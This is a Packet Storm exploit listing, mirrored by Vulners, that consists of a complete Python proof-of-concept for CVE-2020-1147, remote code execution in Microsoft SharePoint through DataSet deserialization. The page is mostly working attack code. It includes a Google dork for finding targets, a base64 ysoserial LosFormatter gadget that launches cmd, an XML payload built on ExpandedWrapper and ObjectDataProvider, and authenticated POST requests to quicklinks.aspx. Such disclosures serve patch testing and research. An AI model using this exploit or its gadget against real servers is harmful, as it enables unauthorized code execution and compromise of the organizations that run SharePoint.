Lucene search
K

Microsoft SharePoint Server 2019 Remote Code Execution

🗓️ 17 Aug 2020 00:00:00Reported by West ShepherdType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 233 Views

Microsoft SharePoint Server 2019 Remote Code Executio

Related
Code
`# Exploit Title: Microsoft SharePoint Server 2019 - Remote Code Execution  
# Google Dork: inurl:quicklinks.aspx  
# Date: 2020-08-14  
# Exploit Author: West Shepherd  
# Vendor Homepage: https://www.microsoft.com  
# Version: SharePoint Enterprise Server 2013 Service Pack 1, SharePoint Enterprise Server 2016 , SharePoint Server 2010 Service  
# Pack 2, SharePoint Server 2019  
# Tested on: Windows 2016  
# CVE : CVE-2020-1147  
# Credit goes to Steven Seele and Soroush Dalili  
# Source: https://srcincite.io/blog/2020/07/20/sharepoint-and-pwn-remote-code-execution-against-sharepoint-server-abusing-dataset.html  
  
#!/usr/bin/python  
from sys import argv, exit, stdout, stderr  
import argparse  
import requests  
from bs4 import BeautifulSoup  
from requests.packages.urllib3.exceptions import InsecureRequestWarning  
from requests_ntlm import HttpNtlmAuth  
from urllib import quote, unquote  
import logging  
  
  
class Exploit:  
# To generate the gadget use:  
# ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "command"  
# ysoserial.exe -g TextFormattingRunProperties -f LosFormatter -c "command"  
gadget = '/wEypAcAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAADGBTw/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9InV0Zi04Ij8+DQo8T2JqZWN0RGF0YVByb3ZpZGVyIE1ldGhvZE5hbWU9IlN0YXJ0IiBJc0luaXRpYWxMb2FkRW5hYmxlZD0iRmFsc2UiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbC9wcmVzZW50YXRpb24iIHhtbG5zOnNkPSJjbHItbmFtZXNwYWNlOlN5c3RlbS5EaWFnbm9zdGljczthc3NlbWJseT1TeXN0ZW0iIHhtbG5zOng9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sIj4NCiAgPE9iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCiAgICA8c2Q6UHJvY2Vzcz4NCiAgICAgIDxzZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICAgICAgPHNkOlByb2Nlc3NTdGFydEluZm8gQXJndW1lbnRzPSIvYyBwaW5nIC9uIDEwIDEwLjQ5LjExNy4yNTMiIFN0YW5kYXJkRXJyb3JFbmNvZGluZz0ie3g6TnVsbH0iIFN0YW5kYXJkT3V0cHV0RW5jb2Rpbmc9Int4Ok51bGx9IiBVc2VyTmFtZT0iIiBQYXNzd29yZD0ie3g6TnVsbH0iIERvbWFpbj0iIiBMb2FkVXNlclByb2ZpbGU9IkZhbHNlIiBGaWxlTmFtZT0iY21kIiAvPg0KICAgICAgPC9zZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICA8L3NkOlByb2Nlc3M+DQogIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KPC9PYmplY3REYXRhUHJvdmlkZXI+Cw=='  
control_path_quicklinks = '/_layouts/15/quicklinks.aspx'  
control_path_quicklinksdialogform = '/_layouts/15/quicklinksdialogform.aspx'  
control_path = control_path_quicklinks  
  
def __init__(  
self,  
redirect=False,  
proxy_address='',  
username='',  
domain='',  
password='',  
target=''  
):  
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)  
self.username = '%s\\%s' % (domain, username)  
self.target = target  
self.password = password  
self.session = requests.session()  
self.redirect = redirect  
self.timeout = 0.5  
self.proxies = {  
'http': 'http://%s' % proxy_address,  
'https': 'http://%s' % proxy_address  
} \  
if proxy_address is not None \  
and proxy_address != '' else {}  
self.headers = {}  
self.query_params = {  
'Mode': "Suggestion"  
}  
self.form_values = {  
'__viewstate': '',  
'__SUGGESTIONSCACHE__': ''  
}  
self.cookies = {}  
self.payload = """\  
<DataSet>  
<xs:schema xmlns="" xmlns:xs="http://www.w3.org/2001/XMLSchema"  
xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" id="somedataset">  
<xs:element name="somedataset" msdata:IsDataSet="true"  
msdata:UseCurrentLocale="true">  
<xs:complexType>  
<xs:choice minOccurs="0" maxOccurs="unbounded">  
<xs:element name="Exp_x0020_Table">  
<xs:complexType>  
<xs:sequence>  
<xs:element name="pwn"  
msdata:DataType="System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.LosFormatter,  
System.Web, Version=4.0.0.0, Culture=neutral,  
PublicKeyToken=b03f5f7f11d50a3a],[System.Windows.Data.ObjectDataProvider,  
PresentationFramework, Version=4.0.0.0, Culture=neutral,  
PublicKeyToken=31bf3856ad364e35]], System.Data.Services,  
Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"  
type="xs:anyType" minOccurs="0"/>  
</xs:sequence>  
</xs:complexType>  
</xs:element>  
</xs:choice>  
</xs:complexType>  
</xs:element>  
</xs:schema>  
<diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata"  
xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1">  
<somedataset>  
<Exp_x0020_Table diffgr:id="Exp Table1" msdata:rowOrder="0"  
diffgr:hasChanges="inserted">  
<pwn xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"  
xmlns:xsd="http://www.w3.org/2001/XMLSchema">  
<ExpandedElement/>  
<ProjectedProperty0>  
<MethodName>Deserialize</MethodName>  
<MethodParameters>  
<anyType  
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"  
xmlns:xsd="http://www.w3.org/2001/XMLSchema"  
xsi:type="xsd:string">{GADGET}</anyType>  
</MethodParameters>  
<ObjectInstance xsi:type="LosFormatter"></ObjectInstance>  
</ProjectedProperty0>  
</pwn>  
</Exp_x0020_Table>  
</somedataset>  
</diffgr:diffgram>  
</DataSet>""".replace('{GADGET}', self.gadget)  
  
def do_get(self, url, params=None, data=None):  
return self.session.get(  
url=url,  
verify=False,  
allow_redirects=self.redirect,  
headers=self.headers,  
cookies=self.cookies,  
proxies=self.proxies,  
data=data,  
params=params,  
auth=HttpNtlmAuth(self.username, self.password)  
)  
  
def do_post(self, url, data=None, params=None):  
return self.session.post(  
url=url,  
data=data,  
verify=False,  
allow_redirects=self.redirect,  
headers=self.headers,  
cookies=self.cookies,  
proxies=self.proxies,  
params=params,  
auth=HttpNtlmAuth(self.username, self.password)  
)  
  
def parse_page(self, content):  
soup = BeautifulSoup(content, 'lxml')  
for key, val in self.form_values.iteritems():  
try:  
for tag in soup.select('input[name=%s]' % key):  
try:  
self.form_values[key] = tag['value']  
except Exception as error:  
stderr.write('error for key %s error %s\n' %  
(key, str(error)))  
except Exception as error:  
stderr.write('error for selector %s error %s\n' %  
(key, str(error)))  
return self  
  
def debug(self):  
try:  
import http.client as http_client  
except ImportError:  
import httplib as http_client  
http_client.HTTPConnection.debuglevel = 1  
logging.basicConfig()  
logging.getLogger().setLevel(logging.DEBUG)  
requests_log = logging.getLogger("requests.packages.urllib3")  
requests_log.setLevel(logging.DEBUG)  
requests_log.propagate = True  
return self  
  
def clean(self, payload):  
payload = payload\  
.replace('\n', '')\  
.replace('\r', '')  
while ' ' in payload:  
payload = payload\  
.replace(' ', ' ')  
return payload  
  
def get_form(self):  
url = '%s%s' % (self.target, self.control_path)  
resp = self.do_get(url=url, params=self.query_params)  
self.parse_page(content=resp.content)  
return resp  
  
def send_payload(self):  
url = '%s%s' % (self.target, self.control_path)  
# self.get_form()  
self.headers['Content-Type'] = 'application/x-www-form-urlencoded'  
self.form_values['__SUGGESTIONSCACHE__'] = self.clean(self.payload)  
self.form_values['__viewstate'] = ''  
resp = self.do_post(url=url, params=self.query_params,  
data=self.form_values)  
return resp  
  
  
if __name__ == '__main__':  
parser = argparse.ArgumentParser(add_help=True,  
description='CVE-2020-1147 SharePoint exploit')  
try:  
parser.add_argument('-target', action='store', help='Target  
address: http(s)://target.com ')  
parser.add_argument('-username', action='store', default='',  
help='Username to use: first.last')  
parser.add_argument('-domain', action='store', default='',  
help='User domain to use: domain.local')  
parser.add_argument('-password', action='store', default='',  
help='Password to use: Summer2020')  
parser.add_argument('-both', action='store', default=False,  
help='Try both pages (quicklinks.aspx and quicklinksdialogform.aspx):  
False')  
parser.add_argument('-debug', action='store', default=False,  
help='Enable debugging: False')  
parser.add_argument('-proxy', action='store', default='',  
help='Enable proxy: 10.10.10.10:8080')  
  
if len(argv) == 1:  
parser.print_help()  
exit(1)  
options = parser.parse_args()  
  
exp = Exploit(  
proxy_address=options.proxy,  
username=options.username,  
domain=options.domain,  
password=options.password,  
target=options.target  
)  
  
if options.debug:  
exp.debug()  
stdout.write('target %s username %s domain %s password %s  
debug %s proxy %s\n' % (  
options.target, options.username, options.domain,  
options.password, options.debug, options.proxy  
))  
  
result = exp.send_payload()  
stdout.write('Response: %d\n' % result.status_code)  
if 'MicrosoftSharePointTeamServices' in result.headers:  
stdout.write('Version: %s\n' %  
result.headers['MicrosoftSharePointTeamServices'])  
if options.both and result.status_code != 200:  
exp.control_path = exp.control_path_quicklinksdialogform  
stdout.write('Trying alternate page\n')  
result = exp.send_payload()  
stdout.write('Response: %d\n' % result.status_code)  
  
except Exception as error:  
stderr.write('error in main %s' % str(error))  
  
  
Regards,  
  
West Shepherd  
OSWE | OSCE | OSCP | OSWP | CEH | Security+  
West Lee Shepherd, LLC  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation